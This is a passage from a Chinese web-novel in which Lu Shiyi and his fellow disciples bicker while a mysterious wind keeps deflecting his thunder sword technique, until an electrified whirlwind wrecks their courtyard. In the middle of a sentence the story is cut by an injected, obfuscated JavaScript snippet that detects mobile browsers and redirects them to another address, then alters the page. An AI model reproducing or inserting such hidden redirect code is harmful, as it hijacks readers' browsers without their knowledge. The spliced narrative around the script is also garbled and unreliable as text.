练了大概半个时辰,陆时忆停下来喘口气。沈言也练完了,正用毛巾擦汗。他脸色比之前红润了些,但还是很苍白,嘴唇没什么血色。 “你还好吧?”陆时忆问。 “死不了。”沈言说,语气是一贯的嚣张,但没什么精神。 “灵魂的伤,急不得。”陆时忆说,“慢慢养,总会好的。” “我知道。”沈言顿了顿,看向陆时忆手里的惊蛰,“你这剑,真叫惊蛰了?” “对啊,好听吧?” “还行。”沈言评价,“比陆十一强点。” “……你能不提那个外号吗?” “不能。” 傍晚,宋听澜做了一桌好菜,几个人围坐在桌边,吃得满嘴流油。 “明天我去镇上买棋子,顺便买点调料回来。厨房的盐快用完了,酱油也不多了。” “我跟你去!”陆时忆举手,“我给江淮年买棋子,顺便……呃,逛逛。” “逛什么逛,你就是想去玩。”江淮年戳穿他。 “我那是体察民情!” “体察个屁。” 沈言在旁边慢悠悠地吃饭,偶尔贱兮兮的点评一句。裴衍依旧是那副懒洋洋的样子,吃得慢,但吃得多。 萧予看着这群吵吵闹闹的徒弟,眼里带着笑意。 晚饭后,天还没黑。几个人收拾了碗筷,在院子里闲坐。裴衍继续打瞌睡,时聿在擦刀,宋听澜在翻医书,沈言在打坐,江淮年吊着胳膊在逗蚂蚁,江妤在缝衣服,陆时忆在擦剑。 夕阳西下,把院子染成一片暖金色。银杏树的叶子在晚风里沙沙作响,偶尔有几片早黄的叶子飘落,落在石桌上,落在肩头。 陆时忆擦着惊蛰,看着剑身上倒映的夕阳,忽然笑了。 “笑什么?”江淮年问。 “没什么。就是觉得,这样挺好。” “是啊,挺好。要是没有某个傻子整天拆家,就更好了。” “你说谁傻子?!” “谁答应说谁。” “江淮年你找打!” “来啊,怕你啊?我让你一只胳膊!” 裴衍被吵得睡不着,睁眼瞪了他们一下,但没说话,只是翻了个身,背对着他们继续睡。时聿默默挪远了一点,免得被波及。 江妤低头缝衣服,嘴角弯了弯。 25. 这风是跟我有仇吗?! 静园这段时间没什么大事。 影仆没来捣乱,师父没布置新任务,连训练都因为沈言养伤、江淮年胳膊刚好而放松了些。按理说应该是挺清闲的日子。 但陆时忆觉得,这风跟他有仇。 也不知道怎么回事,最近半个月,附近这一片儿动不动就刮大风。而且这风还特别怪,专挑他和沈言在院子的时候刮。 这天下午,陆时忆又在院子里练剑。惊蛰剑诀第五式“雷霆万钧”他练得差不多了,正琢磨第六式“雷光分化”。这招要求一剑出,雷光能分出数道,从不同角度攻击。听起来厉害,练起来要命。陆时忆练了三天,最好的记录是一剑分出两道雷光,还歪得离谱。 “再来。”他深吸口气,举起惊蛰。雷系能量在剑身流转,光芒越来越亮。他看准院子里那根木桩,手腕一抖,剑尖刺出。 雷光从剑尖迸发,在半空颤了颤,勉强分成两道,一道劈向木桩,一道劈向了旁边晾衣服的竹竿。 “别——”陆时忆话还没喊完,一阵大风毫无预兆地刮过来。 “呼——!” 那风又猛又急,卷着地上的尘土落叶,劈头盖脸糊了陆时忆一脸。 他被风刮得眯起眼,手里的剑势一偏,原本就歪的那道雷光被风一带,彻底失控,拐了个弯,直冲沈言的窗户去了。 沈言正靠在窗边看书养神。 他灵魂受损,不能练功,每天除了打坐就是看书,无聊得快长毛。 听见外面有动静,他刚抬头,就见一道歪歪扭扭的雷光劈开窗户,直奔他面门。 “我靠!”沈言骂了一句,反应极快,抄起手里的书就挡。 “滋啦——” 雷光劈在书页上,纸页瞬间焦黑冒烟。好在书够厚,挡下了大部分威力,但沈言还是被震得手一麻,书掉在地上,封皮烧掉一半。 陆时忆冲过来,趴在窗口:“沈言你没事吧?” 沈言黑着脸,抬起手,手里是那本烧得只剩一点的《异能基础理论》。 “你说呢?” 陆时忆缩了缩脖子:“那什么……意外,风太大了……” “风大?”沈言推开窗户,指着外面。院子里那根晾衣绳被风吹得摇摇晃晃,上面晾的衣服被吹得缠在一起,打了好几个死结。而刚才那阵妖风,刮完就停了,院子里一片狼藉,唯独天上晴空万里,连云都没几片。 “这风是专挑你练剑的时候刮?”沈言没好气。 “我怎么知道!”陆时忆也郁闷,“这半个月都这样!我一练剑它就刮风,一刮风我的雷就乱飞!上回劈了江淮年的棋子,上上回把师父晒的草药掀翻了,上上上回——” “行了行了。”沈言打断他,看着手里烧掉的书,叹了口气,“这本是宋师兄的,他特意找来给我看的。现在烧了,你赔。” “我赔我赔。”陆时忆赶紧说,“明天就去镇上买新的。” “镇上的书店没有这本,是孤本。” “……” 两人大眼瞪小眼。 这时,江淮年吊着胳膊溜达过来,看见沈言手里烧焦的书,又看看陆时忆那副心虚的样子,乐了:“又闯祸了?” “要你管!”陆时忆瞪他。 “我不管,我就是看热闹。”江淮年幸灾乐祸,“这风也真是,专跟你过不去。我刚才在屋里听见动静,就知道准是你又劈歪了。” “是风太大!”陆时忆辩解,“我那道雷光本来能控制住的,结果风一刮,它就歪了!” “得了吧,自己技术不行怪风。”江淮年撇嘴,“你看裴石头练土系,时聿练影系,怎么没见风把他们异能吹歪?” “那能一样吗?土系稳重,影系隐蔽,我这雷系本来就张扬,再一刮风——” “你就是菜。” “江淮年你找打!” “来啊,我让你一只胳膊!” 沈言懒得理他们,把烧焦的书扔桌上,推开房门走出去。 院子里一片乱,晾衣绳上的衣服缠成麻花,地上的落叶被风吹得到处都是,那根木桩上还留着一道焦黑的剑痕。 他走到银杏树下,抬头看了看天。天很蓝,太阳很大,一点不像要刮风的样子。 真是邪门了。 晚上吃饭的时候,陆时忆还在抱怨那阵妖风。宋听澜听了,若有所思:“最近天气确实反常。我查了古籍,这种无缘无故频繁强度异常的局地大风,通常和异常的能量波动有关。” “能量波动?”陆时忆一愣,“这附近有异常?” “不好说。”宋听澜摇头,“我测过几次,能量读数正常。但风确实刮得怪,而且……”他看向陆时忆和沈言,“似乎只针对你们俩在院子的时候。” 沈言皱眉:“什么意思?这风还认人?” “不一定认人,但可能和你们的异能属性有关。”宋听澜解释,“陆师弟是雷系,至阳至刚。沈师弟是混合系,元素交织。这两种属性的能量场都比较‘活跃’,容易引动外界能量。如果附近真有异常能量源,被你们的能量场激发,产生乱流,形成怪风,也不是没可能。” “那这异常能量源在哪?”江淮年问。 “不知道。”宋听澜说,“可能在地下,可能在空中,也可能……是某个残留的东西。” 他没明说,但几个人都听懂了。顾肆虽然魂飞魄散了,但他之前搞出来的魂化区域,还有那些黑暗能量,不可能一下子消失干净。说不定就残留了点什么东西,埋在地下或者飘在空中,被陆时忆和沈言的异能一激,就捣乱。 “要不去那片荒原再看看?”陆时忆提议。 “师父去过了,说没问题。”裴衍慢悠悠地扒饭,“能量残留是有,但很微弱,不成气候。而且荒原离静园几十里,再强的风也刮不过来。” “那这风到底哪来的?”陆时忆抓头发。 “等。”萧予开口了,“如果是异常能量,总会露出马脚。如果是自然现象,过阵子就停了。急没用,等着看。” 师父发话,陆时忆只好闭嘴。 接下来几天,风还是照刮不误。而且真像宋听澜说的,专挑陆时忆和沈言在院子的时候刮。陆时忆练剑,风就把他的雷吹歪。沈言在树下打坐养神,风就卷着沙土往他脸上扑。有次沈言忍无可忍,用刚恢复的一丁点混合系能量凝了个小护罩挡风,结果风更大了,直接把护罩吹散,还把他吹得一头一脸都是土。 “这风绝对有意识!”沈言咬牙切齿地洗脸,“它就是在针对我!” “也针对我!”陆时忆在旁边帮腔,“我上午想练剑,刚举起惊蛰,一阵风过来,把我剑上的雷光吹得往回飘,差点劈着自己!” “你那是技术不行。” “沈言你——” “好了别吵了。”江妤从厨房出来,手里端着盆洗好的衣服。她走到晾衣绳边,开始一件件晾衣服,动作熟练。“风大就少在院子待着,屋里练不行吗?” “屋里施展不开啊。”陆时忆说,“而且惊蛰剑诀讲究气势,在屋里憋着,练不出来。” “那你就等风停了再练。” “这风它不停啊!”陆时忆指天,“你看,这会儿多安静,我一拿剑它准刮!” 像是要印证他的话,陆时忆话音刚落,院子里忽然又起风了。这回风不大,但很刁钻,专门绕着晾衣绳转。江妤刚晾上去的一件衬衫,被风一卷,从衣架上滑下来,飘悠悠地落在沈言脚边。 沈言低头看了一眼,是陆时忆的训练服。 “你的。”他踢了一脚。 陆时忆捡起来,抖了抖土,讪讪地递给江妤:“江妤妹妹……” 江妤看了他一眼,接过衣服,重新挂上去。可刚挂好,风又来了,这回卷着几片枯叶,啪嗒一下糊在刚洗干净的衬衫上。 “……” 江妤深吸一口气,把衣服拿下来,转身回厨房:“不晾了,等风停。” 陆时忆看着她的背影,又看看天,欲哭无泪:“这风真跟我有仇啊……” 沈言懒得理他,回屋继续打坐。但心里也纳闷,这风到底怎么回事?要说针对陆时忆,他信,那傻子整天咋咋呼呼的,招风。可为什么连他也针对?他这几天安分得很,除了打坐就是看书,招谁惹谁了? 想来想去,只能归咎于自己这混合系。元素混在一起,能量场是有点杂,可能真像宋听澜说的,容易引动什么乱七八糟的东西。 算了,不想了。沈言闭上眼睛,专心养神。 又过了几天,风还是没停,但静园出了件小事。 江淮年的胳膊好了。 拆绷带那天,江淮年兴奋得在院子里连翻了三个跟头,结果落地没站稳,摔了个狗啃泥。陆时忆在旁边笑得直不起腰,被江淮年追着打了半条街。 胳膊好了,训练就得提上日程。萧予给江淮年重新定了计划,冰火双系要更精细地控制,尤其是融合技,得练到收发自如,不能像上次那样一炸了事。 江淮年练得很拼命。他知道自己之前太依赖冰火融合的爆发力,控制不够精细,打顾肆的时候吃了亏。现在得补回来。 他练功,陆时忆就在旁边看。看着看着,陆时忆发现不对劲了。 江淮年练功的时候,风不刮。 一次两次是巧合,可连着三天,只要江淮年在院子练冰火系,院子里就安安静静,一点风都没有。可江淮年一停,陆时忆或者沈言一出来,风立马就来了。 “这风真就只针对咱俩?”陆时忆找沈言吐槽。 沈言在屋里看书,头也不抬:“不然呢?” “凭什么啊?江淮年那小子整天咋呼,怎么不针对他?” “可能风觉得他比你顺眼。” “沈言你——” “吵死了,出去。” 陆时忆被轰出来,站在院子里生闷气。 正好江淮年练完一轮,过来喝水,看见他这副样子:“又被沈言怼了?” “要你管!”陆时忆没好气。 “不管不管。”江淮年灌了口水,擦擦嘴,“不过说真的,这风是有点怪。我练功的时候一点事没有,你一出来它就刮。沈言也是,只要他在院子,风准来。你俩是不是得罪风神了?” “我还想问问呢!”陆时忆郁闷,“这半个月,我的惊蛰剑诀半点进步没有,全耗在跟风较劲上了!” “那你不会在屋里练?” “屋里怎么练?惊蛰一出手,雷光乱窜,把屋炸了怎么办?” “那就去训练场,离院子远点。” “训练场也刮风!”陆时忆更郁闷了,“昨天我去训练场练剑,刚摆开架势,一阵风从山那边刮过来,卷着沙子石头,打得我睁不开眼。一道雷光劈歪,把训练场的木桩劈碎了三根。裴石头让我赔,我哪来的钱!” 江淮年憋着笑,拍拍他的肩:“节哀。” 陆时忆长叹一声,抬头看天。 天还是那么蓝,云还是那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119468|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少,一点刮风的迹象都没有。可他敢打赌,只要他现在举起惊蛰,风立马就来。 果然,他刚这么想,院子里忽然又起风了。这回风不大,但带着股凉意,吹得人起鸡皮疙瘩。晾衣绳上的衣服被吹得晃来晃去,银杏树的叶子沙沙作响。 陆时忆认命地收起剑,回屋了。 这日子,没法过了。 晚上,陆时忆把这事儿跟师父说了。萧予听了,没说什么,只是让他明天别练剑,在屋里打坐,看看风还刮不刮。 第二天,陆时忆老老实实在屋里打坐。一上午,风平浪静。 下午,他忍不住了,偷偷溜到院子,刚拿起惊蛰,风就来了。 “……” 陆时忆彻底服了。 这风真是盯上他了。 他垂头丧气地回屋,正好碰上沈言。沈言也是刚从屋里出来,看样子是想去树下打坐,结果被风逼回来了。 两人对视一眼,都从对方眼里看到了同样的郁闷。 “这风到底想干嘛?”陆时忆问。 “谁知道。”沈言靠在墙上,“不过宋师兄说了,异常能量不会无缘无故出现,肯定有源头。等找到了,收拾掉,风就停了。” “可源头在哪儿啊?” “师父不是说等吗?那就等呗。” “等到什么时候?” “等到它自己冒出来。” 陆时忆叹了口气。也只能这样了。 又过了几天,风还是老样子。但静园的人渐渐习惯了,陆时忆练剑挑没风的时候练,沈言打坐尽量在屋里。 日子照常过,除了那阵时不时来捣乱的妖风,一切都挺平静。 直到这天下午,那风突然变得不一样了。 平时那风虽然怪,但也就是刮刮风,卷卷沙土,捣捣乱。 可这天下午的风,带着一股明显的能量波动。陆时忆在屋里都感觉到了,那波动很熟悉,有点像雷系? 他推开窗户往外看。院子里,风比平时大了不少,吹得银杏树哗哗作响。风中隐约能看到一丝丝银白色的电光,很细,很淡,但确实存在。 “这是……”陆时忆愣住了。 沈言也感觉到了,从屋里出来,站在廊下看。风中那些电光越来越多,越来越密,像一张细密的网,在院子里飘来飘去。 “陆时忆,”沈言皱眉,“这不会是你的雷吧?” “我雷系异能控制得再差,也不至于散成这样啊!而且这些电光没攻击性,就是飘着,像……像无主的能量残留。” “无主?”沈言心头一跳,想起宋听澜的话。异常能量源,残留的东西…… 两人对视一眼,同时想到一个可能。 就在这时,风中那些电光忽然汇聚到一起,在院子中央凝成一个拳头大小的银白色光球。 光球悬浮在半空,缓缓旋转,表面电弧噼啪作响。 “这是……”陆时忆屏住呼吸。 光球转了几圈,忽然“噗”一声,炸了。炸开的不是雷光,是一股更强的风。 那风带着电光,卷着沙土,在院子里疯狂旋转,形成一个小的龙卷风。 龙卷风不大,也就一人高,但威力不小。 晾衣架被连根拔起,衣服被卷上天,石桌上的茶杯被吸进去,瞬间搅碎。银杏树的叶子被扯下来无数,混在风里,搅得昏天黑地。 “我靠!”陆时忆赶紧关窗,但晚了,风已经卷到窗前,吹得他睁不开眼。 沈言也被风逼回屋里,砰地关上门。隔着窗户,他能看见那小龙卷风在院子里横冲直撞,所过之处一片狼藉。 “这他妈是什么玩意儿?!”陆时忆在隔壁喊。 “你问我我问谁!”沈言吼回去。 好在龙卷风没持续多久,大概半分钟就散了。风停之后,院子里一片惨状。 晾衣绳断了,衣服被撕成布条挂在树上,石桌缺了个角,银杏树秃了一半。 地上全是碎叶、泥土、碎瓷片。 陆时忆和沈言推开房门,看着这景象,半天说不出话。 裴衍、时聿、宋听澜、江淮年、江妤都被惊动了,纷纷出来。看见院子里的惨状,也都愣住了。 “这……这风成精了?”江淮年目瞪口呆。 萧予从正房出来,扫了一眼院子,脸色沉了下来。他走到院子中央,蹲下身,伸手摸了摸地面。地上有焦黑的痕迹,是电光烧的。他捻起一点焦土,放在鼻尖闻了闻,又用指尖搓了搓。 “师父,是什么?”宋听澜问。 萧予没立刻回答。他站起身,看向院墙外的山,看了很久,才缓缓开口。 “是残留的能量,但不是顾肆的。” “那是谁的?”陆时忆问。 “不清楚,这能量里,有雷系的痕迹,也有风系的痕迹。而且……它似乎在模仿什么。” “模仿什么?” 萧予看向陆时忆:“模仿你的雷。” 陆时忆一愣:“模仿我?为什么?” “可能因为你的雷系能量最活跃,最容易引动。”萧予说,“也可能因为……它想引起你的注意。” “引起我注意?干嘛?找我打架?” “等等看吧。如果它真想引起注意,还会有动静。” 说完,他转身回屋,留下一院子人面面相觑。 陆时忆看着满地狼藉,又看看手里的惊蛰,心里忽然有点发毛。 靠。这破风。